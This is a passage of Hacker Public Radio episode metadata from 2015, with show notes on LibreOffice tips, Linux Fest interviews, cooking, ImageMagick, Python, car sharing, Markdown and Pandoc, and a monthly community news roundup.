
                                                            \n

                                                            \nHow to use the H1 as an USB Mic https://www.youtube.com/watch?v=GG8hZ6PvfrQ\n

                                                            ","hostid":131,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Zoom H1, microphone, recording, review, DVR, digital voice recorder, tutorial, getting started, guide, howto, HPR","version":0,"downloads":0,"valid":1}, {"id":1819,"date":"2015-07-23","title":"LibreOffice Tips: Horizontal Lists and Headless Operation","duration":675,"summary":"A workaround to create horizontal ordered lists in LibreOffice and run LO headless to convert files","notes":"

                                                            LibreOffice Tips: Horizontal Lists

                                                            \n\n

                                                            One of these things is how to create horizontal lists in LibreOffice. This is something that I wanted to do, I think it was maybe a year ago that I was really trying to find out how to do this. What I mean by that is I wanted to be able to do in LibreOffice the equivalent of an in-line list in HTML and CSS. There's a way in CSS to tell the browser to display a series of list items in-line rather than vertically—and this is used all the time for footers and headers and things of that sort—and I wanted to be able to do that in LibreOffice because it would ease the process of creating the exams that I make in my classes, where I have a numbered list for all of the questions, and the answers for each question are also done in a numbered list but at the 2nd level—usually done with a, b, c and d, whereas the numbers of the questions are 1, 2, 3, 4, and so forth. What I wanted to be able to do was have the ordered list a, b, c, d spread out horizontally across the page without having to do it manually. So in other words I wanted to be able to type a word for an answer and then press enter, and instead of having it go into a new line, have it simply move over to the right a little bit with a new letter in place for the next item in the ordered list. I hope it's clear what I'm after here.

                                                            \n\n

                                                            Anyway I never did find a way to do this. I searched online and there were a couple of other people who were interested in doing the same thing but they were all told this is impossible. Well, sort of. I found a workaround for this and it's not all that elegant but in a pinch it could work, and I don't think I would want to do it for an entire test but I thought it was kind of a cool way to do it.

                                                            \n\n

                                                            So what you do his make up the ordered list just like usual. I have here on my computer right now opened a document with a single question, question no. 1. And then it has at the 2nd level of ordered list a series of 4 options: red, purple, green, and blue. And each one of these is in a font color of the same name, so that the word \"Red\" is red, the word \"Purple\" is in purple, \"green\" is in green. I do this because it makes it easier to see how these things move up and down. There are little buttons down at the bottom of the screen where if you click on the arrow up or the arrow down, it will move the list item up or down. So right now red is in the 1st position, but if I click the down arrow it will go down to the 2nd position and the one that was formally 2nd is now 1st. So purple and red have switched places.

                                                            \n\n

                                                            I want to have this kind of flexibility going horizontally as well, and the way I found to do this was to use columns. I select the 4 items and then under the Format menu choose Columns and tell it I want 4 columns because I have 4 items, and I click OK and suddenly these things are distributed across the screen horizontally. Now if I click the up arrow, the item moves left and right!

                                                            \n\n

                                                            The bad thing about using columns is that the columns are of uniform width, so they do not dynamically change according to the number of characters that are in the word the way it would do in HTML with CSS.

                                                            \n\n

                                                            Headless Operation

                                                            \n\n

                                                            To convert a Word .docx file to HTML, run the following command (LibreOffice must not be open in a graphical environment when you try to do this):

                                                            \n\n
                                                            \nlibreoffice --headless --convert-to html foobar.docx\n
                                                            \n\n

                                                            To convert the same document to .odt format, run this command.

                                                            \n\n
                                                            \nlibreoffice --headless --convert-to odt foobar.docx\n
                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice,horizontal list,headless","version":0,"downloads":0,"valid":1}, {"id":1820,"date":"2015-07-24","title":"Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 1 of 2","duration":1248,"summary":"Interview Alex Juarez Rackspace Principal Engineer","notes":"

                                                            \nFrom the LAMP Stack break-fix competition, to the breakfast buffet they funded on Sunday, the Rackspace crew presented their organization as the managed hosting company that puts the customer first, by making sure no customer has to wait in a long queue before taking to a human, and to staying on the line as long as it takes to make sure all problems are solved and all questions are answered. This kind of commitment to service naturally requires are larger number of people working tech support, and by the end of the weekend I think it was clear to everyone Rackspace was in Kansas to recruit. I was impressed when one of the Rackspace representatives told me, \"We can teach people tech. We can't teach people to want to help other people\". Rackspace dedicates a significant part of employee time to training and improving the skills of their help desk staff. If there is a drawback it's that when one shift is training, the other two are expected to pull extra hours to cover the third shift.\n

                                                            ","hostid":131,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interview,Kansas Linux Fest,Rackspace","version":0,"downloads":0,"valid":1}, {"id":1821,"date":"2015-07-27","title":"James Beard's Never-Fail Blender Hollandaise Sauce","duration":413,"summary":"Frank describes how to make perfect Hollandaise Sauce every time.","notes":"

                                                            \nFrank describes James Beard's simple and almost infallible recipe for making Hollandaise sauce with a blender.\n
                                                            \nThe recipe from the _Theory_and_Practice_of_Good_Cooking_, used copies of which can be readily found via a web search. According to Amazon.doc, new copies are also available. Frank's copy is a first edition dating from 1977, though it's been used too much to be a collector's item.\n

                                                            \n\n

                                                            \nLinks:\n

                                                            \n\n","hostid":195,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"cooking,recipe,Hollandaise,sauce","version":0,"downloads":0,"valid":1}, {"id":1822,"date":"2015-07-28","title":"Some tips on using ImageMagick","duration":1231,"summary":"ImageMagick is an amazing toolkit for manipulating images. Here's how I use it","notes":"

                                                            Some tips on using ImageMagick

                                                            \n

                                                            I like to use images in HPR shows if I can. I have experimented with various ways of preparing them since I first started contributing, but I'm particularly impressed with what I am able to do using ImageMagick.

                                                            \n

                                                            The ImageMagick system contains an enormous range of capabilities, enough for a whole series of shows. I thought I would talk about some of the features I use when preparing episodes to give you a flavour of what can be done.

                                                            \n

                                                            I'm the rawest amateur when it comes to this kind of image manipulation. Just reading some of the ImageMagick documentation (see links) will show you what an enormous number of possibilities there are. I am only using a few in this episode.

                                                            \n

                                                            I have prepared longer show notes and demonstrated some scripts to explain how I process images. These can be found by following this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"images,ImageMagick,scripting,Krita","version":0,"downloads":0,"valid":1}, {"id":1823,"date":"2015-07-29","title":"Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 2 of 2","duration":1689,"summary":"Interview: Ryan Sipes, Organizer, Administrator, Coder, Innovator, Raconteur","notes":"

                                                            \nRyan Sipes: KLF Organizer; Systems Administrator, Northeast Kansas Library System; Organizer of Lawrence (KS) Linux User Group; with Ikey Doherty, Ryan is a developer for Solus (formerly Evolve OS); a contributor to Vulcan text editor, written in Vala (Ryan's KLF talk, \"How to Write a GTK/Gnome Application\", was pretty much a tutorial in Vala)\n

                                                            \n

                                                            \nRyan's projects and employer \n

                                                            \n\n\n\n

                                                            \nKLF related interviews with Ryan Sipes \n

                                                            \n\n\n\n

                                                            \nEvolve OS related interviews \n

                                                            \n\n\n\n

                                                            \nKLF sponsors: \n

                                                            \n\n\n\n

                                                            \nThe beers: \n

                                                            \n\n","hostid":131,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interview,Kansas Linux Fest,Solus,Vala","version":0,"downloads":0,"valid":1}, {"id":1824,"date":"2015-07-30","title":"I'm Learning Some Python","duration":1920,"summary":"I discuss how I use Python and some of the cool modules and libraries that I've found","notes":"\n\n

                                                            I'm Learning Some Python

                                                            \n\n

                                                            Lately I'm finally getting around to learning some Python. I wouldn't go as far as to say I'm learning it properly—that's not really my way—I'm kind of poking around in the dark learning things on an \"as-needed\" basis, but I'm finding that it's incredibly powerful and making me much more efficient in my daily life. In this podcast I discuss some of my favorite ways of using it and some of the cool modules and libraries that I've found that make things surprisingly easy in Python that used to be difficult for me in bash.

                                                            \n\n

                                                            What I Use It For

                                                            \n\n
                                                              \n
                                                            1. Website build scripts, both for the School of Music and for my personal website. Converted from bash, tested and working fine on Windows and Mac.
                                                            2. \n
                                                            3. Text manipulation scripts, used in conjuction with blather. These do things like change text case, remove spaces, and so forth.
                                                            4. \n
                                                            5. Text entry. Voice commands insert various kinds of text templates or canned email responses for my classes. Also used in conjunction with blather.
                                                            6. \n
                                                            7. Adding or stripping HTML tags to/from selected text.
                                                            8. \n
                                                            9. Getting current weather conditions and forecasts, having results spoken back to me using system text-to-speech engine.
                                                            10. \n
                                                            11. Fun blather commands where I interact with my computer and have it talk back to me.
                                                            12. \n
                                                            \n\n

                                                            Favorite Python Modules/Libraries

                                                            \n\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n
                                                            pyperclipA cross-platform clipboard module for Python. (only handles plain text for now) https://pypi.python.org/pypi/pyperclip/1.5.11
                                                            pyttsxA Python package supporting common text-to-speech engines on Mac OS X, Windows, and Linux. https://pypi.python.org/pypi/pyttsx
                                                            bs4HTML parsing library. Beautiful Soup Documentation
                                                            htmlminA configurable HTML Minifier with safety features. https://pypi.python.org/pypi/htmlmin/
                                                            smartypantssmartypants is a Python fork of SmartyPants, which easily translates "plain" ASCII punctuation characters into “smart” typographic punctuation HTML entities.
                                                            titlecaseChanges all words to Title Caps, and attempts to be clever about SMALL words like a/an/the in the input. https://pypi.python.org/pypi/titlecase
                                                            swnamerA name generator that uses Star Wars characters, species and planets to create un fisique names. https://pypi.python.org/pypi/swnamer/0.1.0
                                                            \n\n\n

                                                            Demo Screencasts

                                                            \n\n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"python, scripting, programming","version":0,"downloads":0,"valid":1}, {"id":1825,"date":"2015-07-31","title":"58 - LibreOffice Impress - Creating a Template for Hacker Public Radio","duration":850,"summary":"Creating a sample template illustrates these concepts","notes":"

                                                            \nThe idea in this tutorial is to tie together some of the concepts developed in the previous tutorials to create a Master Page, or Template, or Slide Master. (They all mean the same thing, but within Impress they are shown on the Sidebar as Master Pages, so I will stick with that terminology here.) I say we will use some of these concepts because trying to put everything into one Master Page would create a hideous end result. And since it helps to have a definite objective in mind I have decided to create one for Hacker Public Radio, where I record these tutorials as podcasts for the Internet.\nFor more go to https://www.ahuka.com/?page_id=1204\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations, Template","version":0,"downloads":0,"valid":1}, {"id":1826,"date":"2015-08-03","title":"HPR Community News for July 2015","duration":4974,"summary":"HPR Community News for July 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1803Wed2015-07-01What's In My Bag?Matt McGraw (g33kdad)
                                                            1804Thu2015-07-02What's in my Bicycle Repair Tool BoxJon Kulp
                                                            1805Fri2015-07-0356 - LibreOffice Impress - Styles and Objects 1 - Presentation StylesAhuka
                                                            1806Mon2015-07-06HPR Community News for June 2015HPR Volunteers
                                                            1807Tue2015-07-07Arch Linux Development Environment: Ep1cjm
                                                            1808Wed2015-07-08David Whitman reads 'The Shooting of Dan McGrew' written by Robert W ServiceDavid Whitman
                                                            1809Thu2015-07-09My "New" Used Kindle TouchJon Kulp
                                                            1810Fri2015-07-1017 - LastPass Hacked - What Does It Mean?Ahuka
                                                            1811Mon2015-07-13Life and Times of a Geek part 2Dave Morriss
                                                            1812Tue2015-07-14Headphones and a $2 MicrophoneJon Kulp
                                                            1813Wed2015-07-15Apt Spelunking: surf, lightyears, and fbtermWindigo
                                                            1814Thu2015-07-16Custom Context Menus in GNU/Linux GUI File ManagersJon Kulp
                                                            1815Fri2015-07-1757 - LibreOffice Impress - Styles and Objects 2 - Drawing Object StylesAhuka
                                                            1816Mon2015-07-20Visualising HPR tagsDave Morriss
                                                            1817Tue2015-07-21Gathering PartsNYbill
                                                            1818Wed2015-07-22Review of HPR's Interview Recorder: Zoom H1FiftyOneFifty
                                                            1819Thu2015-07-23LibreOffice Tips: Horizontal Lists and Headless OperationJon Kulp
                                                            1820Fri2015-07-24Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 1 of 2FiftyOneFifty
                                                            1821Mon2015-07-27James Beard's Never-Fail Blender Hollandaise SauceFrank Bell
                                                            1822Tue2015-07-28Some tips on using ImageMagickDave Morriss
                                                            1823Wed2015-07-29Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 2 of 2FiftyOneFifty
                                                            1824Thu2015-07-30I'm Learning Some PythonJon Kulp
                                                            1825Fri2015-07-3158 - LibreOffice Impress - Creating a Template for Hacker Public RadioAhuka
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Frank Bell <frankwbell@...>
                                                              \n Date: 2015-07-04 23:49:27 -0400
                                                              \n Subject: Pictures for uploads
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/898
                                                              \n Messages: 4

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-07-11 18:21:44 +0200
                                                              \n Subject: Fwd: [FOSDEM] Next FOSDEM: 30 & 31 January 2016
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/902
                                                              \n Messages: 1

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-07-25 15:33:26 +0200
                                                              \n Subject: The Admin email account
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/903
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: Joshua Knapp <jknapp85@...>
                                                              \n Date: 2015-07-27 09:23:43 -0700
                                                              \n Subject: Enabled Outbound Spam filtering on Server
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/904
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-07-30 11:29:54 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-08-01T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/905
                                                              \n Messages: 1
                                                            10. \n
                                                            \nTotal messages this month: 8
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 19 comments:

                                                            \n
                                                              \n
                                                            • hpr1784\n(2015-06-04) \"Intro to the Fugue and the Open Well-Tempered Clavier\"\nby Jon Kulp.\n
                                                              • Comment 11:\nFiftyOneFifty on 2015-07-07:\n\"Thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr1794\n(2015-06-18) \"12-Tone Music and My Random 12 Tone Row of the Day\"\nby Jon Kulp.\n
                                                              • Comment 6:\nFiftyOneFifty on 2015-07-07:\n\"Forbidden Planet\"
                                                              • \n

                                                            • \n
                                                            • hpr1800\n(2015-06-26) \"YouTube Video Subscriptions\"\nby Ahuka.\n
                                                              • Comment 2:\nKevin O'Brien on 2015-07-04:\n\"Here you go!\"
                                                              • \n

                                                            • \n
                                                            • hpr1806\n(2015-07-06) \"HPR Community News for June 2015\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nKevin O'Brien on 2015-07-06:\n\"Sorry I missed it\"
                                                              • \n

                                                            • \n
                                                            • hpr1808\n(2015-07-08) \"David Whitman reads 'The Shooting of Dan McGrew' written by Robert W Service\"\nby David Whitman.\n
                                                              • Comment 1:\nMike on 2015-07-08:\n\"More, more\"
                                                              • \n

                                                            • \n
                                                            • hpr1811\n(2015-07-13) \"Life and Times of a Geek part 2\"\nby Dave Morriss.\n
                                                              • Comment 1:\nCharlie Ebert on 2015-07-12:\n\"hpr 1811 Dave Morriss\"
                                                              • Comment 2:\nDave Morriss on 2015-07-13:\n\"Control Data etc\"
                                                              • Comment 3:\nMike Ray on 2015-07-13:\n\"Punched cards in a box\"
                                                              • Comment 4:\nDave Morriss on 2015-07-13:\n\"Notched cards and COBOL\"
                                                              • \n

                                                            • \n
                                                            • hpr1812\n(2015-07-14) \"Headphones and a $2 Microphone\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDave Morriss on 2015-07-15:\n\"Loved the ambient sounds\"
                                                              • Comment 2:\nJon Kulp on 2015-07-15:\n\"Heavy Breathing \"
                                                              • Comment 3:\nDave Morriss on 2015-07-15:\n\"Breathing\"
                                                              • Comment 4:\nJohn Corless on 2015-07-17:\n\"Great\"
                                                              • \n

                                                            • \n
                                                            • hpr1813\n(2015-07-15) \"Apt Spelunking: surf, lightyears, and fbterm\"\nby Windigo.\n
                                                              • Comment 1:\n0xf10e on 2015-07-14:\n\"grumpyness\"
                                                              • Comment 2:\nwindigo on 2015-07-15:\n\"Re: Grumpyness\"
                                                              • \n

                                                            • \n
                                                            • hpr1817\n(2015-07-21) \"Gathering Parts\"\nby NYbill.\n
                                                              • Comment 1:\nCPrompt^ on 2015-07-24:\n\"Great show!\"
                                                              • Comment 2:\nKen Fallon on 2015-07-25:\n\"A series on Electronic Components\"
                                                              • Comment 3:\nNYbill on 2015-07-27:\n\"Thanks guys\"
                                                              • \n

                                                            • \n
                                                            • hpr1823\n(2015-07-29) \"Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 2 of 2\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\nAnon on 2015-07-31:\"[no title]\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1827,"date":"2015-08-04","title":"How I make bread","duration":1112,"summary":"I've been making my own bread for nearly 40 years, and I thought I'd share my methods","notes":"

                                                            Ken Fallon was asking for bread-making advice on a recent Community News recording. I've been making my own bread since the 1970's and I thought I'd share my methods in response. Frank Bell also did an excellent bread-making episode in 2013.

                                                            \n

                                                            I have prepared a long description of my bread-making process, with photographs and a recipe, and this is all available by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"cooking,bread,yeast,baking,loaves,dough,gluten","version":0,"downloads":0,"valid":1}, {"id":1828,"date":"2015-08-05","title":"Multimeter Mod's Part 1","duration":1162,"summary":"NYbill modifies his multimeter to add features he feels are lacking.","notes":"

                                                            \nNYbill talks about modifying his UNI-T UT61E multimeter to add two features he finds lacking. \n

                                                            \n

                                                            \nIn part one an LED back light gets installed for the LCD screen. Part two will cover the second mod, a auto-time out feature to save the units battery. \n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"multimeter,back light,LED,hardware hack","version":0,"downloads":0,"valid":1}, {"id":1829,"date":"2015-08-06","title":"My \"New\" Used Kindle DX","duration":836,"summary":"I talk about my latest gadget, a used Kindle DX","notes":"

                                                            I talk about my latest gadget, a used Kindle DX, which is a discontinued model with a 9.7 inch epaper screen. I talk about its features, limitations, how to navigate it, and I demonstrate its text-to-speech capabilities. Incidentally I really low-balled the original price of the Kindle DX. Looking around a little bit, I find that the original retail price was $479, which was then reduced to just under $400. Mine now seems like a bargain at $128 used.

                                                            \n\n

                                                            \"Kindle

                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ebooks, ereaders, kindle, gadgets, reviews","version":0,"downloads":0,"valid":1}, {"id":1830,"date":"2015-08-07","title":"How Holland Works: GreenWheels","duration":643,"summary":"A quick look at the Dutch short term car sharing service","notes":"

                                                            \nNo longer owning a car of our own, we use the car-sharing service GreenWheels, which for a subscription of €5 per month, we are allowed to rent any of the hundreds of cars confidentiality parked all around the Netherlands.\n

                                                            \n

                                                            How it works

                                                            \n

                                                            Subscribe

                                                            \n

                                                            \nOnce you subscribe you get mailed a credit card sized RFID card and a PIN code.

                                                            \n

                                                            Booking

                                                            \n

                                                            \nGo to the website and enter in your location using ZIP/postcode or town name. You specify the times range you want to use it for and then press find to list the available options. A Google Map will appear with the availability of the cars displayed green for available and red for booked. Pick the one you want, login and confirm.\n

                                                            \n\"screen\n

                                                            \n

                                                            Pickup

                                                            \n

                                                            \nGo to the car location and then open the car by placing the RFID card next to the RFID reader located just above the steering wheel. The central locking will open the doors allowing you to get in.\n

                                                            \nTake the controller out of the glove compartment and enter your pin code to unlock the ignition system.\n

                                                            \nYou can confirm that there is no damage, or log any damage that has occurred. Take the regular key and use that to start the car.\n

                                                            \n

                                                            Refueling

                                                            \n

                                                            \nIf you need to refuel then go to any [gas|petrol] station and refuel. Make note of the current distance travelled on the Odometer, and take the fleet refuelling card from the glove compartment. Instead of paying yourself, the bill will be charged directly to GreenWheels. Return the refuelling card and receipt to the glove compartment.\n

                                                            \n

                                                            Drive

                                                            \n

                                                            Loads to see in the Netherlands.

                                                            \n\n

                                                            Returning

                                                            \n

                                                            \nWhen you are finished, return the car and after checking that you have all your stuff, answer yes to the question \"Have you returned to the start point ?\". Then leave and use the RFID card to lock the car.\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"How Holland Works, GreenWheels, Environment, integrated transport, car sharing","version":0,"downloads":0,"valid":1}, {"id":1831,"date":"2015-08-10","title":"Are speed listening and slow background music compatible?","duration":412,"summary":"is there room for background music in podcasts for speed listeners?","notes":"

                                                            \nThis is A Shadowy Figure speaking to you from southwest Florida on Hacker Public Radio,\n

                                                            \n

                                                            \nBrought to you by An Honest Host Dot Com where you can Get a 15% discount on all shared hosting with the offer code HPR15 thats H P R one five. Better webhosting that honest and fair at An Honest Host Dot Com.\n

                                                            \n

                                                            \nNot only do I mention An Honest Host Dot Com out of commitment, but also out of respect. I've listened to the interview by Ken Fallon of the man behind An Honest Host Dot Com Josh Knapp not long ago, and came away with a certain amount of appreciation for what Josh does. Which is basically keeping Hacker Public radio alive, along with the many other things he does. Thanks Josh, your generosity does not go unnoticed.\n

                                                            \n

                                                            \nI've been listening to HPR for about a year now and just recently purchased a Blue Yeti Microphone off of Ebay which turned out to be misrepresented and not in the condition it was claimed. As a side note, the day I received the Blue Yeti in the mail, I found the same microphone brand spanking new on Amazon.com for the same price as the used one I purchased on ebay. At one time I would have been disappointed by such a situation, but if theres anything I've learned from experience, no matter how hard you punch the wall, the train still left at 4 o'clock \nIf I were to devote an emotion to every real or perceived injustice I come across, I wouldn't have time to devote any emotions to the things enjoy.\n

                                                            \n

                                                            \nAnyway, My computing background goes all the way back to the original TRS-80.\nThe experience of writing basic for 4 hours to create a pathetic facsimile of the game pong turned me away from computing until the graphical user interface of windows 3.11 came along.\nI was alright with the direction of where computing was moving along once windows matured, but I never had any love for microsoft products, Mac's were prettier, but a lot more expensive, and had great hardware to boot, but I never caught the mac addiction either. \n

                                                            \n

                                                            \nSlackware caught my interest, but wasn't ready for prime time, and red hat was a bit more complicated than I was comfortable with in the mid 90's\n

                                                            \n

                                                            \nsince 2006 I've been using debian based operating systems exclusively, but still keep a macbook pro and a windows 8.1 laptop nearby for specific tasks I don't want to taint my linux box with.\n

                                                            \n

                                                            \nKDE plasma has been my desktop of choice since 2010, and I don't use google, facebook, twitter, or any other corporate tracking devices. Including cell phones.\nSmoke signals and email are about the best way to get a hold of me, and smoke signals have been notoriously ineffective in the past.\n

                                                            \n

                                                            \nMoving alone,\n

                                                            \n

                                                            \nMy day job includes leadership training, which was a big step up from my old job in one of the most reviled professions known to man, yes that's right, I used to be a used car salesman, (you thought I was going to say lawyer didn't ya?) no, but I date a lawyer, but I try to keep that a secret. \n

                                                            \n

                                                            \nSo now that I've tainted my reputation for good with the hacker public radio audience, I may as well plow forward and see what other damage to my reputation I can do. You can think of my handle A Shadowy Figure as damage control for all the stupid things I end up doing by mistake. (like buying things of ebay).\n

                                                            \n

                                                            \nAnyway, I thought I'd share with the HPR audience my experience as a listener, and what I feel I can do to contribute. I love the mission statement behind HPR, and feel the need to do my part to see to it HPR continues to offer something of value to the hacker community.\n

                                                            \n

                                                            \nLike many listeners and contributers to HPR, I listen to dozens of podcasts each week. Many of which belong in their spot of most downloaded podcasts, but I find a certain amount of charm in the grass roots nature of HPR.\n

                                                            \n

                                                            \nMuch like the Norwegian trend of engaging in slow media content. As mentioned in a recent hpr episode, I actually found myself hypnotically engaged in 5150's whats in my pickup toolbox episode.\nI found myelf cheering on 5150 to come up with a pair of lugnuts to an unknown vehicle.\n

                                                            \n

                                                            \nI was looking for solidarity there, being as for some reason, my prior toolboxes always seemed to have a couple of unknown parts, or even broken tools that should have been thrown out years ago, \nlike 5150's wire strippers.\n

                                                            \n

                                                            \nI have to admit, Ken Fallons Amazing life hack episode of how to tell your left earbud from your right, lived up to its claim of setting a low bar. Ken has given some terrific episodes in the past, but this one fell a bit short of his standard of excellence. But I must admit, his goal was achieved.\nAs I listened, I said to myself, even I can top that! And thus, Ken inspired me to step over that low bar of quality he set, and record my own episode.\n

                                                            \n

                                                            \nAfter reading up on the procedures for contributing a show, I came across the advice to not use bedding or background music, due to the diverse listening style of many HPR listeners.\n

                                                            \n

                                                            \nOne of those listening styles Im vaguely familiar with was listening to podcasts speeded up.\nSomewhere I read about some people really really speeding up their recordings to the point most people can only hear a rapid fire series of blips and clicks. \nI don't know if that is typical, but I'm inclined to think that is something found on the fring, and that most speed listeners fall in the range of 2 to 3 times normal rate.\n

                                                            \n

                                                            \nI'm also aware of a trend of some people to listen to music slowed down to the point of being one long drone that changes pitch every now and then.\n

                                                            \n

                                                            \nPerhaps in the future, depending on what sort of feedback I receive, I'd like to experiment with combining the two.\n

                                                            \n

                                                            \nBasically, recording Normally recorded vocal content, with an ultra slow music soundtrack that would balance out with speed listening.\nIn essence, hacking the audio, to provide speed listeners with a soundtrack.\n

                                                            \n

                                                            \nOn the flip side, one could hack the audio to appeal to slow listeners, speeding up the soundtrack, and changing the pitch of the vocals to account for slow listening.\nBut that would probably kill some speed listeners with weak hearts, so I'll steer away from that unless there is enough demand to justify that.\n

                                                            \n

                                                            \nIt seems like a concept that's destined to fail, but it's something I was pondering and would try if there were an audience for it.\n

                                                            \n

                                                            \nIf there were any interest, what I'd need to know is how fast do speed listeners listen to their audio.\nWhich is probably all over the map, making any effort futile.\n

                                                            \n

                                                            \nBut it's just a thought I thought I'd throw out there, along with introducing myself to the HPR audience, and saying thanks to all the people who make HPR possible.\n

                                                            \n

                                                            \nThis is a Shadowy Figure signing out.\n

                                                            \n","hostid":308,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Speed Listening","version":0,"downloads":0,"valid":1}, {"id":1832,"date":"2015-08-11","title":"Simplify writing using markdown and pandoc","duration":1288,"summary":"How I use Markdown and Pandoc in my writing workflow","notes":"
                                                            \n

                                                            My Document Creation workflow using Markdown and Pandoc

                                                            \n

                                                            Mr. Young

                                                            \n
                                                            \n

                                                            Show Notes

                                                            \n

                                                            I write almost exclusively in Markdown https://daringfireball.net/projects/markdown when writing documents and taking notes. I use the program, Pandoc https://www.pandoc.org to convert markdown to different formats, including odt, docx, and pdf.

                                                            \n

                                                            The original purpose of Markdown: 1 > Markdown is a text-to-HTML conversion tool for web writers. Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML).

                                                            \n

                                                            Markdown has since been extended to include more features and functionality. Extended versions include Github-flavored markdown https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet and multi-markdown https://fletcherpenney.net/multimarkdown.

                                                            \n

                                                            Some of the basic syntax:

                                                            \n
                                                              \n
                                                            • Headings - use one or more # to make headings
                                                            • \n
                                                            • bold - use __ or ** for bold
                                                            • \n
                                                            • italics - use _ or * for italics
                                                            • \n
                                                            • hyperlinks - use [text](link) for hyperlinks
                                                            • \n\n
                                                            • images - ![text](link) for images
                                                            • \n
                                                            • tables -
                                                              Head1 | Head2 | Head3
                                                              ----- | ----- | -----
                                                              stuff | stuff | stuff
                                                            • \n
                                                            • lists - use - or * or + at the beginning of a line
                                                            • \n
                                                            • quotes and code - ` for single code item, > for block quote, tab for block code, ``` for fenced code. Highlighting is available
                                                            • \n
                                                            \n

                                                            Pandoc: 2 Pandoc can convert documents in markdown, reStructuredText, textile, HTML, DocBook, LaTeX, MediaWiki markup, TWiki markup, OPML, Emacs Org-Mode, Txt2Tags, Microsoft Word docx, EPUB, or Haddock markup to

                                                            \n
                                                              \n
                                                            • HTML formats: XHTML, HTML5, and HTML slide shows using Slidy, reveal.js, Slideous, S5, or DZSlides.
                                                            • \n
                                                            • Word processor formats: Microsoft Word docx, OpenOffice/LibreOffice ODT, OpenDocument XML
                                                            • \n
                                                            • Ebooks: EPUB version 2 or 3, FictionBook2
                                                            • \n
                                                            • Documentation formats: DocBook, GNU TexInfo, Groff man pages, Haddock markup
                                                            • \n
                                                            • Page layout formats: InDesign ICML
                                                            • \n
                                                            • Outline formats: OPML
                                                            • \n
                                                            • TeX formats: LaTeX, ConTeXt, LaTeX Beamer slides
                                                            • \n
                                                            • PDF via LaTeX
                                                            • \n
                                                            • Lightweight markup formats: Markdown (including CommonMark), reStructuredText, AsciiDoc, MediaWiki markup, DokuWiki markup, Emacs Org-Mode, Textile
                                                            • \n
                                                            • Custom formats: custom writers can be written in lua
                                                            • \n
                                                            \n

                                                            I use Ubuntu because it is the only distro that does not bundle pandoc in the haskell libraries. With pandoc, you can specify the template that you are using, so that the same one document can be formatted quickly in many different ways and file formats.

                                                            \n

                                                            Workflow:

                                                            \n
                                                              \n
                                                            1. Write using vim or other text editor. When I was starting, I used a markdown previewer
                                                            2. \n
                                                            3. Create the template for the client
                                                            4. \n
                                                            5. Convert document appropriately
                                                            6. \n
